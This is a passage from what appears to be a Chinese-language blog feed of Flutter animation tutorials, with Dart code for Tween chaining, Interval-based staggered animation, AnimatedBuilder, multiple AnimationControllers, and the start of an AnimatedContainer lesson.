</span></span><span style="display:flex;"><span>        ),
</span></span><span style="display:flex;"><span>      )),
</span></span><span style="display:flex;"><span>      floatingActionButton: FloatingActionButton(
</span></span><span style="display:flex;"><span>        child: <span style="color:#66d9ef">const</span> Icon(Icons.add),
</span></span><span style="display:flex;"><span>        onPressed: () {
</span></span><span style="display:flex;"><span>          _loading <span style="color:#f92672">?</span> _controller.stop() <span style="color:#f92672">:</span> _controller.repeat(reverse: <span style="color:#66d9ef">true</span>);
</span></span><span style="display:flex;"><span>          _loading <span style="color:#f92672">=</span> <span style="color:#f92672">!</span>_loading;
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>    ));
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="23-控制器补间tween和曲线">2.3 控制器补间（Tween）和曲线</h3>
<p>​		我们可以使用drive函数将Animation的值映射到Tween上，也就是说，最终生成的值是在0.5到1.0之间，而不是原来的0.0～1.0了。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>ScaleTransition(
</span></span><span style="display:flex;"><span>  scale: _controller.drive(Tween(begin: <span style="color:#ae81ff">0.5</span>, end: <span style="color:#ae81ff">1.0</span>)),
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><p>​		又比如说，</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>SlideTransition(
</span></span><span style="display:flex;"><span>  position: _controller.drive(Tween(begin: Offset.zero, end: <span style="color:#66d9ef">const</span> Offset(<span style="color:#ae81ff">0.1</span>,<span style="color:#ae81ff">0</span>))),
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>),
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//等价于
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>SlideTransition(
</span></span><span style="display:flex;"><span>  position: Tween(begin: Offset.zero, end: <span style="color:#66d9ef">const</span> Offset(<span style="color:#ae81ff">0.1</span>,<span style="color:#ae81ff">0</span>)).animate(_controller),
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><p>​		通过使用chain函数，Tween之间可以叠加，比如，</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>SlideTransition(
</span></span><span style="display:flex;"><span>  position: Tween(begin: Offset.zero, end: <span style="color:#66d9ef">const</span> Offset(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">1.0</span>))
</span></span><span style="display:flex;"><span>      .chain(CurveTween(curve: Curves.elasticOut))  <span style="color:#75715e">//叠加曲线
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      .chain(CurveTween(curve: <span style="color:#66d9ef">const</span> Interval(<span style="color:#ae81ff">0.5</span>, <span style="color:#ae81ff">1.0</span>))) 
</span></span><span style="display:flex;"><span>      <span style="color:#75715e">//使用Interval，限制动画播放时间，从 50% 时间开始到 100% ，其他时间不做任何事
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      .animate(_controller),
</span></span><span style="display:flex;"><span>  ...
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><p>​		整体代码如下：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">import</span> <span style="color:#e6db74">&#39;package:flutter/material.dart&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main() <span style="color:#f92672">=&gt;</span> runApp(MyApp());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyApp</span> <span style="color:#66d9ef">extends</span> StatefulWidget {
</span></span><span style="display:flex;"><span>  MyApp({Key<span style="color:#f92672">?</span> key}) <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  _MyAppState createState() <span style="color:#f92672">=&gt;</span> _MyAppState();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">_MyAppState</span> <span style="color:#66d9ef">extends</span> State<span style="color:#f92672">&lt;</span>MyApp<span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">with</span> SingleTickerProviderStateMixin {
</span></span><span style="display:flex;"><span>  late AnimationController _controller;
</span></span><span style="display:flex;"><span>  late <span style="color:#66d9ef">bool</span> _stop <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> initState() {
</span></span><span style="display:flex;"><span>    _controller <span style="color:#f92672">=</span> AnimationController(
</span></span><span style="display:flex;"><span>      duration: <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>),
</span></span><span style="display:flex;"><span>      vsync: <span style="color:#66d9ef">this</span>,
</span></span><span style="display:flex;"><span>    )..repeat();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">super</span>.initState();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> dispose() {
</span></span><span style="display:flex;"><span>    _controller.dispose();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">super</span>.dispose();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> MaterialApp(
</span></span><span style="display:flex;"><span>        home: Scaffold(
</span></span><span style="display:flex;"><span>      body: Center(
</span></span><span style="display:flex;"><span>          child: SlideTransition(
</span></span><span style="display:flex;"><span>              position: Tween(begin: Offset.zero, end: <span style="color:#66d9ef">const</span> Offset(<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">1.0</span>))
</span></span><span style="display:flex;"><span>                .chain(CurveTween(curve: Curves.elasticOut))  <span style="color:#75715e">//叠加曲线
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                .chain(CurveTween(curve: <span style="color:#66d9ef">const</span> Interval(<span style="color:#ae81ff">0.5</span>, <span style="color:#ae81ff">1.0</span>))) 
</span></span><span style="display:flex;"><span>                      <span style="color:#75715e">//使用Interval，限制动画播放时间，从 50% 时间开始到 100% ，其他时间不做任何事
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                .animate(_controller),
</span></span><span style="display:flex;"><span>              child: Container(
</span></span><span style="display:flex;"><span>                width: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>                height: <span style="color:#ae81ff">120</span>,
</span></span><span style="display:flex;"><span>                color: Colors.blue,
</span></span><span style="display:flex;"><span>              ))),
</span></span><span style="display:flex;"><span>      floatingActionButton: FloatingActionButton(
</span></span><span style="display:flex;"><span>        child: <span style="color:#66d9ef">const</span> Icon(Icons.add),
</span></span><span style="display:flex;"><span>        onPressed: () {
</span></span><span style="display:flex;"><span>          _stop <span style="color:#f92672">?</span> _controller.repeat() <span style="color:#f92672">:</span> _controller.reset();
</span></span><span style="display:flex;"><span>          _stop <span style="color:#f92672">=</span> <span style="color:#f92672">!</span>_stop;
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>    ));
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="24-交错动画interval">2.4 交错动画——Interval</h3>
<p>​		如上文，使用Interval可以限制播放时间，如此一来，作如下安排，达到五个组件间到交错动画：</p>
<ol>
<li>
<p>时间0.0～0.2运行第一个动画</p>
</li>
<li>
<p>时间0.2～0.4运行第二个动画</p>
</li>
<li>
<p>时间0.4～0.6运行第三个动画</p>
</li>
<li>
<p>时间0.6～0.8运行第四个动画</p>
</li>
<li>
<p>时间0.8～1.0运行第五个动画</p>
<p>​	使用<code>Column</code>控件将以上五个<code>SlideTransition</code>组织起来，并将它们绑定到同一个_controller即可（SlideTransition本身也是Widget）：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">SlideTransition</span> <span style="color:#66d9ef">extends</span> AnimatedWidget { ... }
</span></span></code></pre></div></li>
</ol>
<h3 id="25-自定义动画animatedbuilder">2.5 自定义动画——AnimatedBuilder</h3>
<p>​		通过自己动手制作FadeTransition，我们可以看出Transition系列控件的内部原理。同时也可以看到，就像TweenAnimationBuilder那样，使用AnimatedBuilder时我们也可以对动画进行优化，避免反复渲染那些与动画无关的Widget：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#75715e">//如何使用AnimatedBuilder制作出一个FadeTransition？
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>child: AnimatedBuilder(
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//每当animtion（_controller）的值变化，flutter就会重新调用builder函数
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  animation: _controller, 
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//还记得builder就是复杂版的child吗？
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  builder: (context, child) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> Opacity(
</span></span><span style="display:flex;"><span>      opacity: _controller.value,<span style="color:#75715e">//这里可以用Tween制作补间动画
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>      child: child
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>  },
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//下面的child是用于优化
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  child: <span style="color:#66d9ef">const</span> Icon(Icons.repeat, size: <span style="color:#ae81ff">100</span>)
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#75715e">//这是内置的FadeTransition，使用起来更加简单，但是没有办法进行细致的绘制优化
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>child: FadeTransition(
</span></span><span style="display:flex;"><span>  opacity: _controller, <span style="color:#75715e">//这里本质上要求一个Animation&lt;double&gt;
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  child: <span style="color:#66d9ef">const</span> Icon(Icons.repeat, size: <span style="color:#ae81ff">100</span>),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><p>​		整体代码如下：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">import</span> <span style="color:#e6db74">&#39;package:flutter/material.dart&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main() <span style="color:#f92672">=&gt;</span> runApp(MyApp());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyApp</span> <span style="color:#66d9ef">extends</span> StatefulWidget {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> MyApp({Key<span style="color:#f92672">?</span> key}) <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  _MyAppState createState() <span style="color:#f92672">=&gt;</span> _MyAppState();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">_MyAppState</span> <span style="color:#66d9ef">extends</span> State<span style="color:#f92672">&lt;</span>MyApp<span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">with</span> SingleTickerProviderStateMixin {
</span></span><span style="display:flex;"><span>  late AnimationController _controller;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> initState() {
</span></span><span style="display:flex;"><span>    _controller <span style="color:#f92672">=</span> AnimationController(
</span></span><span style="display:flex;"><span>      duration: <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">2</span>),
</span></span><span style="display:flex;"><span>      vsync: <span style="color:#66d9ef">this</span>,
</span></span><span style="display:flex;"><span>    )..repeat();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">super</span>.initState();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> dispose() {
</span></span><span style="display:flex;"><span>    _controller.dispose();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">super</span>.dispose();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">final</span> Animation opacityAnimation <span style="color:#f92672">=</span> Tween(begin: <span style="color:#ae81ff">0.5</span>, end: <span style="color:#ae81ff">0.8</span>).animate(_controller);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> MaterialApp(
</span></span><span style="display:flex;"><span>        home: Scaffold(
</span></span><span style="display:flex;"><span>      body: Center(
</span></span><span style="display:flex;"><span>          child: Container(
</span></span><span style="display:flex;"><span>              width: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>              height: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>              color: Colors.red,
</span></span><span style="display:flex;"><span>              child: AnimatedBuilder(
</span></span><span style="display:flex;"><span>                  animation: _controller, <span style="color:#75715e">//每当animtion（_controller）的值变化，flutter就会重新调用builder函数
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                  builder: (context, child) { <span style="color:#75715e">//还记得builder就是复杂版的child吗？
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                    <span style="color:#66d9ef">return</span> Opacity(
</span></span><span style="display:flex;"><span>                      opacity: opacityAnimation.value,
</span></span><span style="display:flex;"><span>                      <span style="color:#75715e">//使用Tween制作补间
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                      <span style="color:#75715e">//需要注意的是这里的opacity是普通变量，所以需要使用Animation.value
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                      child: child
</span></span><span style="display:flex;"><span>                    );
</span></span><span style="display:flex;"><span>                  },
</span></span><span style="display:flex;"><span>                  <span style="color:#75715e">//下面的child是用于优化
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                  child: <span style="color:#66d9ef">const</span> Icon(Icons.repeat, size: <span style="color:#ae81ff">100</span>)
</span></span><span style="display:flex;"><span>              ))),
</span></span><span style="display:flex;"><span>      floatingActionButton: FloatingActionButton(
</span></span><span style="display:flex;"><span>        child: <span style="color:#66d9ef">const</span> Icon(Icons.add),
</span></span><span style="display:flex;"><span>        onPressed: () {},
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>    ));
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h3 id="26-使用多个controller的例子tickerproviderstatemixin">2.6 使用多个Controller的例子——TickerProviderStateMixin</h3>
<p>​	有时我们会希望使用多个Controller（绝大多数情况下一个足矣），此时我们需要使用<code>TickerProviderStateMixin</code>。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">import</span> <span style="color:#e6db74">&#39;package:flutter/material.dart&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main() <span style="color:#f92672">=&gt;</span> runApp(MyApp());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyApp</span> <span style="color:#66d9ef">extends</span> StatefulWidget {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> MyApp({Key<span style="color:#f92672">?</span> key}) <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  _MyAppState createState() <span style="color:#f92672">=&gt;</span> _MyAppState();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">_MyAppState</span> <span style="color:#66d9ef">extends</span> State<span style="color:#f92672">&lt;</span>MyApp<span style="color:#f92672">&gt;</span> <span style="color:#66d9ef">with</span> TickerProviderStateMixin {
</span></span><span style="display:flex;"><span>  late AnimationController _expansionController;
</span></span><span style="display:flex;"><span>  late AnimationController _opacityController;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> initState() {
</span></span><span style="display:flex;"><span>    _expansionController <span style="color:#f92672">=</span> AnimationController(vsync: <span style="color:#66d9ef">this</span>);
</span></span><span style="display:flex;"><span>    _opacityController <span style="color:#f92672">=</span> AnimationController(vsync: <span style="color:#66d9ef">this</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">super</span>.initState();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> dispose() {
</span></span><span style="display:flex;"><span>    _expansionController.dispose();
</span></span><span style="display:flex;"><span>    _opacityController.dispose();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">super</span>.dispose();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">final</span> Animation gradientAnimation <span style="color:#f92672">=</span>
</span></span><span style="display:flex;"><span>        Tween(begin: <span style="color:#ae81ff">0.3</span>, end: <span style="color:#ae81ff">1.0</span>).animate(_expansionController);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> MaterialApp(
</span></span><span style="display:flex;"><span>        home: Scaffold(
</span></span><span style="display:flex;"><span>      body: Center(
</span></span><span style="display:flex;"><span>          child: FadeTransition(
</span></span><span style="display:flex;"><span>              opacity: _opacityController.drive(Tween(begin: <span style="color:#ae81ff">1.0</span>, end: <span style="color:#ae81ff">0.5</span>)),
</span></span><span style="display:flex;"><span>              child: AnimatedBuilder(
</span></span><span style="display:flex;"><span>                animation: _expansionController,
</span></span><span style="display:flex;"><span>                builder: (context, child) <span style="color:#f92672">=&gt;</span> Container(
</span></span><span style="display:flex;"><span>                  width: <span style="color:#ae81ff">200</span>,
</span></span><span style="display:flex;"><span>                  decoration: BoxDecoration(
</span></span><span style="display:flex;"><span>                    shape: BoxShape.circle,
</span></span><span style="display:flex;"><span>                    color: Colors.white,
</span></span><span style="display:flex;"><span>                    gradient: RadialGradient(colors: [
</span></span><span style="display:flex;"><span>                      Colors.blue.shade500,
</span></span><span style="display:flex;"><span>                      Colors.grey.shade50
</span></span><span style="display:flex;"><span>                    ], stops: [
</span></span><span style="display:flex;"><span>                      gradientAnimation.value,
</span></span><span style="display:flex;"><span>                      gradientAnimation.value <span style="color:#f92672">+</span> <span style="color:#ae81ff">0.2</span>
</span></span><span style="display:flex;"><span>                    ]),
</span></span><span style="display:flex;"><span>                  ),
</span></span><span style="display:flex;"><span>                ),
</span></span><span style="display:flex;"><span>              ))),
</span></span><span style="display:flex;"><span>      floatingActionButton: FloatingActionButton(
</span></span><span style="display:flex;"><span>        child: <span style="color:#66d9ef">const</span> Icon(Icons.badge),
</span></span><span style="display:flex;"><span>        onPressed: () <span style="color:#66d9ef">async</span> {
</span></span><span style="display:flex;"><span>          _expansionController.duration <span style="color:#f92672">=</span> <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">3</span>);
</span></span><span style="display:flex;"><span>          _expansionController.forward();
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">await</span> Future.delayed(<span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">3</span>));
</span></span><span style="display:flex;"><span>          _opacityController.duration <span style="color:#f92672">=</span> <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">4</span>);
</span></span><span style="display:flex;"><span>          _opacityController.forward();
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">await</span> Future.delayed(<span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">4</span>));
</span></span><span style="display:flex;"><span>          _expansionController.duration <span style="color:#f92672">=</span> <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>          _expansionController.reverse();
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>    ));
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>]]></content:encoded>
    </item>
    
    <item>
      <title>Flutter动画全解（一）隐式动画——Animated系列</title>
      <link>https://weibo.io/2021/11/Flutter%E5%8A%A8%E7%94%BB%E5%85%A8%E8%A7%A3%EF%BC%88%E4%B8%80%EF%BC%89%E9%9A%90%E5%BC%8F%E5%8A%A8%E7%94%BB-Animated%E7%B3%BB%E5%88%97/</link>
      <pubDate>Mon, 01 Nov 2021 20:19:45 +0000</pubDate>
      
      <guid>https://weibo.io/2021/11/Flutter%E5%8A%A8%E7%94%BB%E5%85%A8%E8%A7%A3%EF%BC%88%E4%B8%80%EF%BC%89%E9%9A%90%E5%BC%8F%E5%8A%A8%E7%94%BB-Animated%E7%B3%BB%E5%88%97/</guid>
      <description>隐式动画——Animated系列 1.1 快速开始——AnimatedContainer //原始main.dart import &amp;#39;package:flutter/material.dart&amp;#39;; void main() =&amp;gt; runApp(MyApp()); class MyApp extends StatelessWidget { MyApp({Key? key}) : super(key: key); @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Container(	//一个普普通通的Container width: 300, height: 300, color: Colors.blue, child: const Center( child: Text(&amp;#34;Hi&amp;#34;, style: TextStyle( fontSize: 72, )), ), ), )); } } //使用AnimatedContainer，并传入Duration，两行代码就可以动起来！ import &amp;#39;package:flutter/material.dart&amp;#39;; void main() =&amp;gt; runApp(const MyApp()); class MyApp extends StatelessWidget { const MyApp({Key? key}) : super(key: key); @override Widget build(BuildContext context) { return MaterialApp( home: Scaffold( body: Center( child: AnimatedContainer(	//将Container换成AnimatedContainer duration: const Duration(seconds: 1),	//同时加上duration参数即可 width: 300, height: 100, color: Colors.</description>
      <content:encoded><![CDATA[<p><img loading="lazy" src="https://i.loli.net/2021/11/01/VBE9gcASi5q6jaY.jpg" alt="DBAED6ED-4E11-4344-8500-8F9EA1EA816F_1_105_c.jpeg"  />
</p>
<h2 id="隐式动画animated系列">隐式动画——Animated系列</h2>
<h3 id="11-快速开始animatedcontainer">1.1 快速开始——AnimatedContainer</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#75715e">//原始main.dart
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">import</span> <span style="color:#e6db74">&#39;package:flutter/material.dart&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main() <span style="color:#f92672">=&gt;</span> runApp(MyApp());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyApp</span> <span style="color:#66d9ef">extends</span> StatelessWidget {
</span></span><span style="display:flex;"><span>  MyApp({Key<span style="color:#f92672">?</span> key}) <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> MaterialApp(
</span></span><span style="display:flex;"><span>        home: Scaffold(
</span></span><span style="display:flex;"><span>      body: Container(		<span style="color:#75715e">//一个普普通通的Container
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        width: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>        height: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>        color: Colors.blue,
</span></span><span style="display:flex;"><span>        child: <span style="color:#66d9ef">const</span> Center(
</span></span><span style="display:flex;"><span>          child: Text(<span style="color:#e6db74">&#34;Hi&#34;</span>,
</span></span><span style="display:flex;"><span>              style: TextStyle(
</span></span><span style="display:flex;"><span>                fontSize: <span style="color:#ae81ff">72</span>,
</span></span><span style="display:flex;"><span>              )),
</span></span><span style="display:flex;"><span>        ),
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>    ));
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#75715e">//使用AnimatedContainer，并传入Duration，两行代码就可以动起来！
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">import</span> <span style="color:#e6db74">&#39;package:flutter/material.dart&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main() <span style="color:#f92672">=&gt;</span> runApp(<span style="color:#66d9ef">const</span> MyApp());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyApp</span> <span style="color:#66d9ef">extends</span> StatelessWidget {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> MyApp({Key<span style="color:#f92672">?</span> key}) <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> MaterialApp(
</span></span><span style="display:flex;"><span>      home: Scaffold(
</span></span><span style="display:flex;"><span>        body: Center(
</span></span><span style="display:flex;"><span>          child: AnimatedContainer(		<span style="color:#75715e">//将Container换成AnimatedContainer
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            duration: <span style="color:#66d9ef">const</span> Duration(seconds: <span style="color:#ae81ff">1</span>),	<span style="color:#75715e">//同时加上duration参数即可
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            width: <span style="color:#ae81ff">300</span>,
</span></span><span style="display:flex;"><span>            height: <span style="color:#ae81ff">100</span>,
</span></span><span style="display:flex;"><span>            color: Colors.blue,
</span></span><span style="display:flex;"><span>            child: <span style="color:#66d9ef">const</span> Center(
</span></span><span style="display:flex;"><span>              child: Text(<span style="color:#e6db74">&#34;Hi&#34;</span>,style: TextStyle(fontSize: <span style="color:#ae81ff">72</span>)),
</span></span><span style="display:flex;"><span>            ),
</span></span><span style="display:flex;"><span>          ),
</span></span><span style="display:flex;"><span>        ),
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>  }
